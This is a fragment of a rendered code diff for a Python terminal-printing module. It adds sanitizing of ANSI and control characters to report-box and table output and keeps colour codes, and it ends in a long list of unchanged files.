|
|
155
|
+
if seq.startswith("\033[") and seq.endswith("m"):
|
|
156
|
+
return seq
|
|
157
|
+
return ""
|
|
158
|
+
result = _ANSI.sub(_keep_sgr, str(text))
|
|
159
|
+
return _C1_AND_CTRL.sub("", result)
|
|
160
|
+
|
|
161
|
+
|
|
143
162
|
def _ansi_tokens(text: str):
|
|
144
163
|
tokens = []
|
|
145
164
|
pos = 0
|
|
@@ -265,6 +284,13 @@ def print_report_box(title, data_dict, top_left_color=PUMPKIN, bottom_right_colo
|
|
|
265
284
|
if not data_dict:
|
|
266
285
|
return
|
|
267
286
|
|
|
287
|
+
data_dict = {
|
|
288
|
+
_sanitize(k): {_sanitize(sk): _sanitize(sv) for sk, sv in v.items()}
|
|
289
|
+
if isinstance(v, dict)
|
|
290
|
+
else _sanitize(v)
|
|
291
|
+
for k, v in data_dict.items()
|
|
292
|
+
}
|
|
293
|
+
|
|
268
294
|
categorized = any(isinstance(v, dict) for v in data_dict.values())
|
|
269
295
|
|
|
270
296
|
if categorized:
|
|
@@ -370,6 +396,9 @@ def print_table(
|
|
|
370
396
|
if not headers or not rows:
|
|
371
397
|
return
|
|
372
398
|
|
|
399
|
+
headers = [_sanitize(h) for h in headers]
|
|
400
|
+
rows = [[_sanitize(cell) for cell in row] for row in rows]
|
|
401
|
+
|
|
373
402
|
terminal_width = shutil.get_terminal_size().columns
|
|
374
403
|
n_cols = len(headers)
|
|
375
404
|
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|